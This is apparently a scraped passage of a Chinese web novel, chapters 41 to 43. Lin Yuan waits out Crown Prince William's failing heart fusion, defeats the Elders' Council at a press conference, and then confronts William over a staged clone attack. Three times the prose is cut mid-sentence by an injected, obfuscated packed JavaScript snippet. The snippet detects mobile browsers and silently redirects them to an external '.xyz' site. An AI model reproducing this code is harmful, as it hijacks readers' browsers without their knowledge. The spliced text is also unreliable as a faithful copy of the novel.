路易已经带领雪狮接管了首都星安防,正在询问林沅是否需要派出小队,跟随她前往宸宫。 丹尼尔则向她发了一串名单,是聚会邀请函的涵盖范围。林沅简单敲了几下,回复了几个名字,要求他立刻一并发送。 最后,她将视线转向陈鹤明,以及将信号画面切到一艘行进飞船上的莱茵,语气沉着冷静:“我会去,但不是现在。” “加强宸宫的安保,不仅是人,一只虫子也不要放进去。一旦让他们接近了陛下,事情就不可控制了。所有试图闯进宸宫的人,不要开火,逮捕就好。” 得到莱茵的保证后,林沅望向两人的神情中带上一点探究和问询,似乎在征求意见:“如果我立刻出发,不知道长老会到底有怎样的预谋,恐怕难以招架。但如果我始终不现身,他们必然会觉得殿下这边出了大问题,于政局不利。” “我想……向公众宣布,于四小时后在宸宫举行公开的新闻发布会,我本人出席,长老会则不必尽数到现场,只要保证远程参会就好,可以吗?” 陈鹤明有些担忧:“是否太过冒险了,殿下?新闻发布会完全不必由您亲自出席。” 莱茵却沉着点头,似乎根本没听见,或者没在意陈鹤明说了什么:“我会布置好宸宫的安保。” 林沅欣慰地看了她一眼,转头又补充道:“请老师帮我准备好长老会的联络工作,保证每个人都收到参会邀请。” 陈鹤明只得答应,目光却隐含担忧。 “事到如今,我们是一条船上的乘客。”林沅脸色苍白,无奈地勾了一下唇角,“风雨如晦,全靠二位帮帝国保全了。” 通讯切断。林沅沉默地坐了一会,突然起身向抢救室走去。 医院早已被不动声色地全封闭起来。惨白的廊灯下,来往的医护无一不是神色匆匆,几乎顾不上打招呼。 她感觉自己的鞋跟在走廊上敲出沉重的闷响,如同敲在心上的重锤。 抢救室这个地方,她也是来过几次的。可是当林沅将手掌放在玻璃上,隔着窗户望向躺在维生舱中,双眼紧闭、无声无息的威廉,她感觉到与等待米娅时完全不同的心情。 从前是紧张,愤恨。如今只剩下绝望。 身后有脚步声响起,是疲惫的院长。 “融合还是不太顺利……更糟糕的是,材料也快要不够用了。” “军部的材料呢?” “能用的已经全部全部用上了。但一次融合失败,就会有一部分材料自动作废。” 长久的,无言的沉默。 林沅咬了咬唇,感觉自己的指尖在微微颤动。她打开通讯,给林深发信息的时候,敲出了好几个错别字,甚至没有回头修改,就赶紧按下了发送。 信息接收成功的“滴”声与抢救室里如山般铺天盖地的仪器发出的声响混合在一起,几乎分辨不出来。 她的绝望掩藏在数据每一次弹动的曲线,掩藏在威廉平静、苍白又无力的面容中。 他从未在自己面前这么虚弱过。林沅在玻璃上描摹着威廉的脸,似乎这样就可以隔着空气用指尖触摸到皮肤。一遍又一遍,她却只感觉到一种逐渐清晰的、麻木的倦意,从指尖延伸到心脏。 抢救室并不完全隔音。除了机器的噪声,和医护的商讨,她只能听见智能医疗系统冷静而空洞的回声。 “全身检测……心脏检测……指标正常……融合进行中。” 林沅头一次觉得,这种无情的声音如此悦耳,只要它愿意一直播报着稳定的讯息。 但似乎神明偏不要遂她的意愿。抢救室内突然闪烁着刺眼的红光,所有的数据开始疯狂跳动,映在威廉一无所知的平静面庞上。 “怎么回事……”林沅听见一个惶恐沙哑的声音惊惧地询问着院长,好半天她才明白原来说话的正是自己。 院长的手脚也几乎开始颤抖:“恐怕不妙……殿下……” 数据跳动的“滴滴”声和警报的声音交织缠绕,一声更比一声急切,几乎响彻整个医院。 “融合失败……重启融合进度百分之零点一……重启失败,进度归零。” “融合失败……重启融合进度百分之零点零九……重启失败,进度归零。” 林沅一把推着院长进抢救室:“去看看!快!” 副官也从远处气喘吁吁地跑了过来:“研究员们已经被我安置好,我怕抢救室太乱,让他们在医院另外一个会议室远程指导!” 林沅没有什么夸他的心情,只是拍了拍副官的肩膀。 也许此时此刻,她表面看起来仍然那么得体、平静、游刃有余,甚至有些冷血。 但只有林沅自己知道,这里只是一具没有灵魂的躯壳。 医护正在抢救,研究员也已经带到,连林深都已经回复,说他会先派一个人带着材料赶来,使用申请由他来补。 她不知道自己还能再去求谁,求什么。 她转过身背对着抢救室,试图走到长椅上坐下,却差点被绊倒,踉跄了一下,跌坐在冷冰冰的座位上。 林沅微微出神,望着天花板,想起在地球时,人力所不能及的事情,大家总是习惯于诉诸神佛。 可惜,从前的她并不会相信,在连科学都力不能及的尽头,神明会听见一个无神论者的祈祷。 她感觉自己的眼眶酸涩,却固执地不肯眨眼,也不肯再让眼泪落下来。 在这生死攸关的时刻,她却突然想要向西莉亚神女或者圣赞教廷祈愿。 随便是谁,哪个神,救救他。 他是威廉·霍恩海姆啊,一个聪慧优秀,背负血海深仇,却在无数暗杀中活下来,一步步成长到如今大权在握的帝国皇储。也许他有一天会死于起义,死于战场,但不该是死于为自己挡下,那本该将自己杀死的伤害。 林沅望着天花板,看着那看不到的天空。 随便是谁,天上的神,请救救他。让故事不要就此完结。 为他,也为我。林沅在心中默念。 为我尚没有改写的命运。 巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954762|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警报声仍然不知疲倦地响起,严肃冷峻,如同做礼拜时颂于神明的赞歌。 而她在这警报声中无声地祈祷,祈祷神明垂怜。 “重启成功!融合失败……警告,材料剩余百分之十。” “融合失败……警告,材料剩余百分之九点九。” 时间一分一秒的流逝,流逝到所有人已然麻木。只能静静地默数着警报的倒计时。 “融合失败……警告,材料剩余百分之一点五。” 副官匆匆而来:“殿下,宸宫的发布会已经准备好,您必须要动身了。” 林沅站起来,感觉自己的双腿和心脏都已经失去知觉。而智能系统却永远不会疲倦,它仍然在永不停歇地计数。 她对副官吩咐:“让路易马上派一部分雪狮来医院加强防卫。你先和我一起去宸宫。” “融合失败……警告,材料剩余百分之一点四。” 她面无表情地走过抢救室门外。 “融合失败……警告,材料剩余百分之一点三。” 她最后回头看了维生舱中的威廉一眼。他竟然似乎靠着维生液体的力量短暂苏醒了过来,只是过于虚弱,眼睑半阖,无神地望向林沅的方向,湛蓝色的眼睛像是乌云蔽日的天空中,泄露出的唯一一点阳光。 他似乎辨认出了林沅,竟然微微勾起了唇角,笑了一下。 一瞬之间,那种想要落泪的软弱又锲而不舍地袭击了她。 如同海浪没过将要无法呼吸的潜水者。 林沅突然意识到,如果她此时去了宸宫,这很有可能是他们之间的最后一面。 但她却不得不动身,为最后那点渺茫的希望。 “融合失败……警告,材料剩余百分之一点一五。” 她收回望向威廉的视线,如同扭转一把生锈的锁,发出金属腐朽的摩擦声,也将她的心搅成铁锈的碎片。 忽然之间万籁俱寂,规律的警报声消失,林沅不可思议地瞬间回头,威廉已经再次闭上了眼睛,但智能系统播报的内容,突然变了! “全身检测……心脏检测……指标正常……融合进行中。警告,材料剩余百分之一点一。” “融合进行中……基因匹配百分之五十……基因匹配百分之百!融合成功!警告,材料剩余百分之一点一。” 抢救室内爆发出压抑的欢呼。院长跌跌撞撞地打开门,拦下想要离开的林沅,声音是难掩的激动:“殿下!融合成功了!” 但他又立刻有些萎靡:“可是成功得太晚了……如今材料不足,军部恐怕也不能提供更多了。” “成功后,融合的进度可以稍微放缓吗?”林沅若有所思地问。 院长点头。林沅暗暗松了一口气:“先慢慢融合,材料……会有人送来。” 副官也十分激动,却不得不再次催促她动身。 他们走出了医院的大门,见到了久违的阳光。 此时此刻,不同于之前那种刀劈斧砍的剧痛,她感觉自己的心脏泡在一种暖洋洋的液体里,泡得酸酸胀胀的。 被阳光一晒,温暖得让人想要流眼泪。 “走吧,去宸宫。” 42.命由我 林沅在副官的陪同下登上开往宸宫的飞船。 漆黑的船身上,绘着象征帝国军部的巨型金色鸢尾花,在广阔的天空中,与雪狮的飞船逆向而过,留下两条燃烧后闪烁着余晖的尾迹。 犹如白狮踏雪,花瓣四逸。 林沅靠窗坐着,仍然穿着那身为推进会准备的制服套裙。白色衬衣领口上,沾着一点没有清理干净的灰尘和干涸褪色的血迹。 副官站在她对面青灰色的阴影中,似乎被刚刚巨大的惊喜冲击到,手指颤抖着,抽出一条老式的香烟,微微拢在掌心,一晃一晃,几次都打不着火。 林沅向他伸出手:“需要帮忙吗?” 副官讪笑着收起烟条,挠了挠头:“抱歉……忘了您在这里。” 林沅摇摇头,笑了一下:“倒也没关系。” 劫后余生般的喜悦,换谁都会想庆祝一下吧。 “一直忘了问,你叫什么名字?”林沅墨色的眼睛恢复往常的镇静,和善地看着副官。 副官立刻站直,恭敬而一丝不苟地向她敬礼,浅金的短发随着挺身的动作微微一动,显露出被额发半掩住的、碧绿色的眼睛:“帝国军校33年学生,亚历山大·康斯坦丁,皇储殿下的六位近卫副官之一。” 他放下尚且完好的右臂,有些担忧地提醒道:“您需要换一身衣服吗?但是飞船上可能没有准备。” 林沅看着窗外:“我就穿着这身衣服。同时也请你……暂时不要通过医疗舱让手臂痊愈。” “这是自然,我得先保证您的安全。” 林沅转回头,白皙的脸颊一半映在日光下,一半藏在阴影中,不太明显地勾了一下唇角,一瞬间显露后又收回的凄厉美艳,冲淡了那种如同初雪般纯澈漠然的冷意,像是暗夜中等待伏击的画中艳鬼:“不,我是要展示给所有人看。” 副官有些不明所以。 “道德制高点如果不好好利用,未免太浪费了。我要让所有人看见,帝国的军人和殿下的未婚妻,是如何带着鲜血与伤痕,一步步向他们走来的。” “并非日复一日的光鲜亮丽,而是来不及收敛的狼狈不堪。” 副官似乎仍然不是非常明白,但显然已经接受了她的命令。 林沅静静地看着窗外,如同纸上拼图般的首都星风景在刹那间匆匆后退。 半晌,她再次开口:“我听说,最近针对霍恩海姆殿下的暗杀非常频繁,是怎么回事?为什么从来没有任何人跟我提过?” 副官嗫嚅着,似乎不知道怎么解释。 林沅叹了口气:“我知道,你们只会直接听命于殿下……” 副官涨红了脸,急切地解释:“不是的!我们都收到过皇储殿下的密令,要求待您与待殿下等同。” 林沅转过身,认真地看着他的眼睛,神情是不容拒绝和反驳的肃穆:“那么,我问什么,你只需要回答是或者不是,不准犹豫,明白吗?” “……明白。” 她站起来,向前踱步:“霍恩海姆殿下最近频繁因为暗杀受伤,是吗?” “是。” “他们找了很多次机会,始终没能杀掉殿下,所以这次突然转向了我,而殿下事先没能获得任何情报,是吗?” “……是。” “他在谋划一件非常重要的事,你们所有人都知道,只有我不知道,是吗?” “没有!”副官焦急地反驳,“殿下没有任何事刻意瞒着您,除了受伤……” “哦。”林沅短促地笑了一下,并不完全相信他,“谢谢……我明白了。” 飞船停泊在宸宫的固定停机位,辽阔的宫殿耸立于深秋初冬的冷风中,比寒风更加阴森冷硬。风中的广场上,无数民众或镇静或吵嚷地站立着,等待着一场决定帝国命运走向的真正变革。 广场中央巨大的虚拟屏中,一身正装、头发胡子花白的长老会会长正在慷慨激昂地对着民众演讲,旁边另一块较小一些的虚拟屏上,和威廉如出一辙,眼神却略显迟钝和迷茫的青年男人,正静静地聆听着。 飞船舱门打开,林沅迎着冷风,任碎发随风舞动,一步步向外走去,在万众瞩目和森严的护卫中,走向举行新闻发布会的高台。 她瞥了一眼广场正对面的虚拟屏,皱了皱眉。 看到林沅出现,民众有一瞬的寂静。随后爆发出更激烈的呐喊,或者是口号,或者是毫无意义的音节。 林沅不为所动地走向高台,只是顺便用余光瞥了一眼那位复制的人造人。 她对这个复制人更像威廉而不是陛下感到疑惑,但没有时间再去深究。 她在高台上站定,对着全体民众深深鞠了一躬。额前凌乱的发丝被风猛烈地吹动,并没有让她显得狼狈,映着衬衫领口的血光,反而有种难以形容的坚韧。 一个个虚拟屏围绕高台展开,直到充斥了整个广场。而林沅站在中间最高处,衣袖裙摆随风鼓动,犹如重瓣莲花中心永不消散的花蕊。 无数个长老会成员出现在虚拟屏上,尽数穿着深灰黑色的西装制服,眼神或愤恨或疑虑地看着林沅。她知道,这些人恐怕都已经收到聚会的照片了。虽然未必有用,但牵扯一下也是好的。 她毫不畏惧地迎上所有目光,一字一句地陈述袭击和伤亡的情况,并表示皇储殿下只是在接受必要的养伤治疗,请配合给予一定的隐私权利。 民众的议论声犹如滚水,灼烫着人山人海中心的那朵花。 不等长老会的会长开口,林沅继续补充道:“莱茵将军已经接收霍恩海姆殿下的命令,正加紧调查,准备缉拿此次袭击的真凶。而此时此刻,我相信大家是为了帝国的安危聚在这里,绝非是某些别有用心之人挑拨离间的结果。” 她的话还是被会长粗暴无礼地打断:“一派胡言!” 他在虚拟屏的另一端站起来,似乎有些激动:“霍恩海姆已经重伤濒死,他没有办法再维护帝国的安全。按照继承法,应当由储备的人造人继位。” “人造人继承法早就已经废除了,先生。”林沅仰起头,不卑不亢地回答。 “废不废,也由不得你来说!”他似乎觉得自己胜券在握,冷冷地盯着眼前连血污都来不及清理的狼狈女人,“你和霍恩海姆的婚姻约定没有经过枢密院的审议,和长老会的认证,是无效的。你并非帝国皇储的未婚妻,何况帝国皇储已经濒死,如今真正的皇储,是我身边这位——崭新的霍恩海姆殿下!” 在他示意的方向上,人造人冰蓝的眼睛正隔着虚拟屏,一瞬不瞬地看着林沅,似乎有些好奇,以及新生般的懵懂。 林沅冷冷地笑了一下,并不理会越来越嘈杂的人声:“首先,霍恩海姆殿下是否濒死,作为刚接受他的命令赶来这里的我,比你更有发言权。” “其次,我和霍恩海姆殿下的婚约已经登记在了帝国的数据库,而枢密院各位书记官并未提出过任何被记载下来的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959744|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议,更遑论书面文件。” “最后,按照平权法案和改革推进法案的签署生效内容,人造人继承制度,乃至枢密院本身,都已经不复存在。长老会更是没有经过宪法承认的组织。” 她平静地看着被气得说不出话的会长:“换句话说,先生。此时此刻,您才是真的什么都不是。” 老会长撑着胖得快要涨破的身体环顾四周,长老会的其他人全都非常有默契地一言不发。他很快明白,不止是受到丹尼尔的威胁,所有人都已经看出,自己这边在法理方面,恐怕大势已去。 他愤怒地喘了几口粗气,一把拽住身边的“复制品”,扯着他的胳膊大力往一旁走去。镜头自动跟随,林沅这才发现他们也在一艘行进的飞船上。 她突然有了一种不好的预感。 镜头里的飞船落定,舱门打开,赫然是威廉所在的私人医院大门口。 还好雪狮部队的军人和攻击机器人们已经按照林沅的命令严阵以待,但并不敢直接真正地开火。 路易站在所有人的最前方,一身银灰色的军装制服,束起棕栗色的卷曲长发,五官惊艳而凌厉,目光如同尖刻的刀刃,顺着他手中的武器死死指向不速之客。 但来者的目的却也并非交火。老会长冷笑一声,对着镜头说道:“我倒要让你们看看,你们的皇储殿下,现在是什么狼狈的模样。” 无数的摄像机器人突然向医院飞去,如同铺天盖地的蚊蝇。 密集的火力向摄像头袭来,但这种微小的机器人很难杀尽,一个个漏网之鱼钻进各种通风和排气的缝隙,钻进严防死守的医院中。 其中一个小摄像头一马当先,摇摇晃晃的镜头上下搜寻,直到看见“抢救室”的门牌。 虚拟屏的画面立刻被人切到这个摄像头上。 有人紧急询问林沅是否要强制切断虚拟屏。林沅沉默了一会,竟然摇了摇头。 所有人都屏住呼吸,静静看着这块最大的虚拟屏,仿佛在等待一个最终宣判的结果。 于是虚拟屏上的画面继续播放。但“抢救室”中,竟然是空的。 一阵“嗡嗡”的哗然在人群中四散开来。摄像机器人转身,向大门口飞去。 摇晃的镜头中,一个熟悉的身影打开大门,逆光站在视线尽头。 镜头内外,突然间鸦雀无声。 那是一身军装,如苍松翠柏般挺立的威廉·霍恩海姆。 林沅仰头望着虚拟屏,目光微微颤动。 画面中,那位复制人在老会长惊怒的阻拦中,突然以一种不可思议的速度绕过“雪狮”的防线,仗着军人们没有收到就地枪毙的命令,竟然试图接近威廉。 千钧一发之际,他在一片惊呼声中向威廉举起枪,而威廉久经沙场的敏锐神经,以一种不可思议的反应速度,比他更快地抬手。 林沅曾在枢密院见过威廉演示的那种特殊流质材料,同时也是组成他新生心脏的融合物质,再一次出现在威廉手掌中,瞬间化成了激光武器。 他对着复制人开枪。 一声“砰”的巨响。 硝烟落定,胜负已分。 漫长的寂静过后,从聚集的人群中央,逸出一阵阵微弱的欢呼。这欢呼如同低空掠过的飞鸟,所到之处,带起一阵阵追随的和声。越来越大,直到沸腾、爆发。 而威廉隔着虚拟屏,再一次,与林沅遥遥相望。 “我回来了。”他说。 43.刀尖血 林沅绷紧如弓弦的身体中,渗出一丝如释重负的叹息,仿佛灵魂四散,逸出疲惫不堪的躯壳。 在群众一声高过一声的呼喊里,她似乎看见了未来威廉掌控帝国的康庄坦途。 林沅转头对副官大喊,夹杂在盛满了欢呼的空气中,险些难以分辨:“我们走吧!” 于是康斯坦丁又护送她回到医院。 迈下飞船时,她感觉自己被阳光晃到了眼睛,张开手指遮挡来自天际的光线,却仍然感觉眼角酸涩胀痛。 医院多了打扫战场、收拾机器残骸的军人们,看起来比她离开时更加熙攘。 她不紧不慢地穿过一个个向她行礼的军士,点头致意。 院长在长廊尽头远远看见,立刻颠着人到中年有点发福的身体,小跑着赶过来。 他气喘吁吁地挤过一众士兵,一边给林沅开路,一边让她安心:“殿下已经醒了……只是暂时还不能完全离开维生液体。您现在就可以去看他。” 林沅却刻意避开他的问题:“送材料来的人在哪里?” 院长思索了一阵,一拍手掌,突然反应过来:“哎呦……这,我们急着请研究员确认材料有没有问题,都忘了招呼客人。” 林沅目光一凛:“你们放他走了?” “那倒没有,您放心,他一直被军队管控着。” 林沅立刻联系了路易。他在指挥打扫战场,声音混进嘈杂的背景中,听不太清楚:“……你等我一下,我马上带你过去。” 林沅站在原地等了一会。院长小心翼翼地凑过来:“您不先去看看殿下吗?”他看得出来,林沅还是非常紧张威廉的。 她却意味不明地笑了一下:“给殿下一点时间吧……我等会再去。” 院长只好自己先离开。 大概十几分钟后,路易才赶过来。他的脸上沾了尘土,头发也有些凌乱,但并不让人觉得狼狈,反而多了几分成熟和坚毅,看着更加可靠。 他努力平复呼吸:“我让他们把那位联盟来的客人带到了一间空着的会议室。事情已经了结,可以送他离开了。” 仿佛汇报工作一般,他一边走,一边事无巨细地向林沅说明:“复制人被殿下当场击毙,身体已经被保存起来,送往帝国科学院。虽然我的意思是,留着,也许将来还有用。但殿下却执意要销毁。不仅销毁,还要直播,以示他结束人造人悲剧的决心……” 他有点尴尬地笑了一下:“老实说,多少有点变态。” 林沅仔细听着,却并没有言语。 路易看着有些冷傲,熟悉起来倒是显得认真谨慎。他接着补充:“长老会的会长已经因为涉嫌攻击帝国皇储而被逮捕。迎接他的,恐怕将是帝国最高法院的审判和终身监禁。” 等他说完,林沅终于轻声道:“路易。” 路易的眼神转向她,目光专注。 “你做得很好,但是……”她紧紧盯着路易,似乎想从中看出端倪来,却只感觉到一种内心深处无能为力的颓然。 路易疑惑地看着她。林沅转回目光,看着仿佛没有尽头的长廊,自嘲地笑了一下:“没事。我们走吧。” 路易有些不明所以,但也没有追问,只是带着她去了会议室。 门开了。不算大的空间中,空荡荡的长桌尽头,戴着兜帽的男人扣着耳机,窝在转椅中,百无聊赖地摆弄着一个老式的红蓝色游戏机,在悬浮灯惨白的光线下,裸露在外的小臂肌肉线条坚硬流畅,整个人莫名显得冰冷而遥远。 看见林沅和路易到来,他不紧不慢地放下掌机,把老式耳机环在脖子上,放下帽子,恭恭敬敬地站起来,向二人行礼致意。 林沅心里有些疑惑,却只是不动声色地笑了一下,快走几步上前,伸出右手:“辛苦你了,闵先生。” 那种拒人于千里之外的冷意褪去些许,闵宗望看起来十分可靠,微微前倾,礼貌地握了握林沅的手:“阿深突然有点急事,庭眠和沈姐也不在基地,薄晚没有一个人出过远门,只好拜托我来了。” 他们寒暄了几句没营养的话,林沅让路易安排飞船送他离开医院:“情况紧急,委屈你在这里等待这么久。” “客气什么。我和阿深是好朋友,应该的。”他的表情看起来无懈可击,林沅只好压下自己内心那一点说不清道不明的、仿佛来自于本能的疑虑。 她的声音带着恰到好处的歉意:“没时间好好招待您……实在抱歉。” 闵宗望却笑着安慰她:“我们已经开始着手准备年底康伦和星海的合作项目,到时候还有很多机会再见。” 他敏锐地看出林沅的担忧:“这里的事情我会严格保密……毕竟,这种物质对我们来说也是绝密的。外交层面的事情阿深会处理,联盟也不会允许我多说什么。” 林沅倒是刻意表现得很轻松:“阿深能把这样重要的事情交给你,我自然没什么好担心的。” 她的声音充满感激:“欠联盟和星海的人情,无论是我个人、殿下或者帝国,都会铭记于心。” 他们从会议室一路走到医院大门外,路易安排好的飞船停泊在医院门口。 巨大的船身遮蔽了阳光,将他们笼罩于一片阴影中。 林沅于冷风里,再次向他伸出手:“那么,我们在联合项目时再会……闵先生。” 闵宗望非常有分寸感地轻轻握了握她纤细的手指:“联盟永远是你的后盾,殿下。” 他们郑重友好地告别。闵宗望利落地跳上舱门,单手稳定住自己,侧身向林沅挥手致意。 飞船即将起飞的烈烈寒风鼓动他薄薄的外套,年轻俊逸却略显冷峻的脸半掩在重新戴好的兜帽中,遮住那双深邃的眼睛。 送走闵宗望,林沅实在是没有什么再能寻找到的借口了。副官从医院走廊里远远地小跑过来:“霍恩海姆殿下一直醒着……说想见您。” 林沅目送飞船在视线尽头蔚蓝的天际化成一个几乎看不见的微小黑点,沉默了一会:“我马上就去。” 副官讪讪地摸了摸鼻子,“哎”了一声,给打扫战场的“雪狮”军士们帮忙去了。 林沅独自一人回到抢救室门外。医护似乎都已经被人打发走,抢救早已结束,推开门,各种凌乱又繁杂的医疗设备却仍然能让人立刻联想到,这里不久之前刚刚经历过的一场生死时速。 地上甚至还残留着尚未清扫的斑驳血迹。干涸后留下一片黯淡的阴影。 威廉已经脱下军装,穿着特制的病号服半躺在维生舱中。往日淡漠冷硬的蓝色眼睛,此时此刻显得格外清澈明净,甚至有一点大病初愈后,微不可察的脆弱与柔软。 林沅关上门,一步一步向他走去。鞋跟碰撞地面,在隔绝了大部分噪音的抢救室内,如同敲定在心尖上的鼓点。 威廉之前一直强撑着自己听取各方汇报的身体,此时此刻仿佛被人抽走了那根最坚硬的骨头,想要瘫倒在医疗舱里。 或者是谁的怀抱中。 林沅走到他面前。威廉静默地抬头看着她,轻颤着抬起手,摩挲她垂在身侧的手掌,仿佛一种无声的示弱。 林沅再也不能强撑住自己冷漠坚硬的表象,小心翼翼地避开伤口,扑进他怀里,溅起一点粘稠的维生液体,双手环过威廉的脖颈,紧紧拽着病号服的衣领。 眼泪无声无息地漫过威廉的颈侧。他愣了一下,微微垂下眸,试图把人更紧地揽向自己。 林沅无声地发泄了一会,不容拒绝地拽开他的手,从怀里抬起身,一双带着猩红血丝的眼睛瞪着他,有着一点劫后余生的喜悦,和几分说不清道不明的愤恨。 “殿下。”刚哭过的嗓音沙哑而柔软,“您不去做演员,真的太可惜了。” 威廉干燥的手掌抚过她的长发,想再次把她揽进怀里,却被林沅制止了。 她侧坐在医疗舱边,将威廉的手掌翻过来,一只手托着比自己大很多的手掌,另一只手轻轻摩挲他深刻又有些杂乱的掌纹。 “疼吗?”她幽幽地问,“伤口……还疼吗?” 威廉点点头。 林沅假装恶狠狠地说道:“怎么不疼死你算了。” 眼泪却不受控制地从眼角涌出来:“看见那个和你长得一模一样的家伙,我突然明白,原来这一切早就在计划中了。恐怕连路易和雪狮没有拦住那个人造人,让他暴露在你的攻击范围内,也完全是策划好的吧?” 威廉做事以铁腕成名,如何能留下一个漏网之鱼。民众并不知道枢密院地底的真相,毁灭一个与自己一模一样的复制人,比毁灭皇帝的复制人震撼得多。 威廉却只是不动声色地看着她,声音还有一点虚弱,带着大病初愈的哑意:“我不明白你的意思,阿沅。” 林沅已经过了最初恨意最深的那个阶段。与其说是恨,不如说是怨他不够爱惜自己。 但她又想不明白自己究竟以什么样的立场在怨恨。 其实她一直不能完全直面自己对威廉的感情。或者说她甚至疑惑这能不能称为感情。 她明白自己在罗勒斯号上的洛丽玛丝玫瑰丛中,第一次见到这个人时,戒备之中,比以往更加剧烈一点的心跳。 明白自己在海伦学院被郑重求婚时,那种自我怀疑和对他的疑心之下埋藏着的,被人珍视的喜悦。 明白自己在死里逃生之后,于梅星看见逆着阳光向自己走来的人时,掩藏在质疑中的,那种安全感带来的心弦震动。 明白自己在蓬帕杜夫人的庄园中,听他和梦里一样向自己许下承诺时的绝望、被命运缠绕交织的震撼,和微风细雨中,被他揽进怀里,隔绝世界冷意后的温暖。 甚至明白自己来到帝国后,和他共同经历风风雨雨时交付的信任。 他们不止是政治联姻的未婚夫妻,更是携手与共的战友,和事无巨细亲手教她一点点成长起来,努力让她能够独当一面的师生。 但她唯独不明白,这能称之为爱吗。 她曾经许诺自己爱恨封缄,也曾在林深的提问下心防崩塌,溃不成军。 但她唯独不能明白,威廉真的爱她吗?自己呢,真的爱威廉吗? 或者说,他们真的有可能在这样波诡云谲的风风雨雨中,在互相欺骗利用的你瞒我瞒中,谈论一点奢侈的真心吗? 如果不爱,为什么能为她挡下政局之中来不及防备的伤害?如果爱,又为什么能在毫无保留的付出中,夹杂一些顺势而上的野心? 以至于把自身都搭在棋盘上,成为那颗被四散崩裂的棋局中,置之死地而未必能后生的棋子? “殿下。”她听见自己颤抖的声音,“利用自己的重伤安排虚假的复制人攻击自己,在万众瞩目中,将枢密院最后一点残余的势力——长老会,打击殆尽……” 她说不下去了。眼泪顺着脸颊流下来,双手紧紧地攥住威廉的手掌。 威廉抬起另一只手,眼神中有着不能掩藏的温柔和怜惜,轻轻帮她拭去眼泪,说出的内容却莫名的冰冷:“你太累了……别想这么多。” “是吗?”她勾起唇角,自嘲地笑了一下。 “殿下。”她的声音轻柔,带着一点幽魂残魄般的空寂,“我想跟你谈论爱,是不是太奢侈了?” “怎么会呢?”威廉不动声色地将她拉近自己一点,“还记得我们的订婚誓词吗?‘我永远爱你,直到时间终止,万物归一’。” 他认真地注视着林沅的眼睛:“我说话算话,阿沅。” 林沅的笑意更明显了一些,眼里的绝望也更加浓重。 她深深看着眼前的威廉。重伤初愈的皇储半躺在浅蓝色的维生液体中,上半身倚在舱壁上,五官一如既往地冰冷锐利,却因为受伤的缘故,皮肤格外苍冷霜白,眼神削减了攻击性,多了几分示弱和恰到好处的迷茫。 纤长羽睫下的眼瞳中流淌着蓝宝石一般的微光,让林沅想起自己最后离开医院前,隔着抢救室的玻璃与他深深凝望的那一眼。 那是眷恋与温柔中,夹杂着生离死别的鲜血淋漓。 其实林沅也唾弃自己此时无比软弱的心态。利用就利用了。他自己都不在意可能失败的后果,甚至为她尽可能地铺好了后路,她还有什么好去在意的呢? 就算他死了,自己也许九死一生、绝地反击掌控帝国,也许更大可能是灰溜溜地、伤痕累累地逃回联盟。 但那又怎么样呢?威廉是生是死,都不耽误最终的结局来临之前,她永远都是赫斯塔的公主。 可是很多时候,人的心情不受意志的约束。也或许,在所有关于威廉的事情上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967227|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她从来不够意志坚定。 在一片寂静和绝望中,威廉突然翻转自己的手掌,挣脱林沅的桎梏,将她纤细的手指抓在掌心,轻轻拉往自己的方向。 于是林沅又不可避免地被他拉向怀中。 抢救室的玻璃不知什么时候开启了智能屏蔽,隔绝了外面的视线。林沅撑着另一只胳膊,不想让自己完全跌进他怀里。 威廉却抬起左手,轻轻抚在她的后脑上,不容拒绝地把她彻底按进自己的怀抱中。 “伤口!你疯啦?”林沅终于是顾不上伤春悲秋的痛了,忍不住惊呼道。 “没事。”威廉短促地笑了一下,“真的不要紧,你要看看吗?” 林沅的情绪完全被打断,从他怀里抬起头,秀发被他揉得微微凌乱,眼神有点无语:“你在耍流氓吗?” “我们是合法的未婚夫妻啊。”威廉倚在舱壁上,看起来难得的闲适,“这应该算福利吧。” “殿下真看得起自己。”林沅冷笑道。 威廉笑而不语,如愿以偿地抚着她的头发,内心有种满足的喟叹。 他用右手包裹着林沅的手掌,轻轻拉到自己的脸颊边,用她的手指贴近自己侧脸。蔚蓝的眼睛如同初冬澄澈明净的天空,悬于林沅侧上方,静静凝望着她。 他竟然用脸颊轻轻蹭了蹭林沅的掌心。眼眸映着医疗舱内壁隔着维生液体的蓝色幽光,美得如同湖水静静流淌。 林沅的手指不由自主地微微抽搐了一下。感受到指尖下的皮肤干燥柔软的触感。 所有情绪彻底被扑灭了。 美色误人啊。她唾弃自己。 “殿下。”她却不想轻易认输,幽幽地开口,“你知道自己现在像什么吗?” 威廉用眼神示意她继续说下去。 “乖狗狗。”林沅壮着胆子嗫嚅道,显得没什么底气。 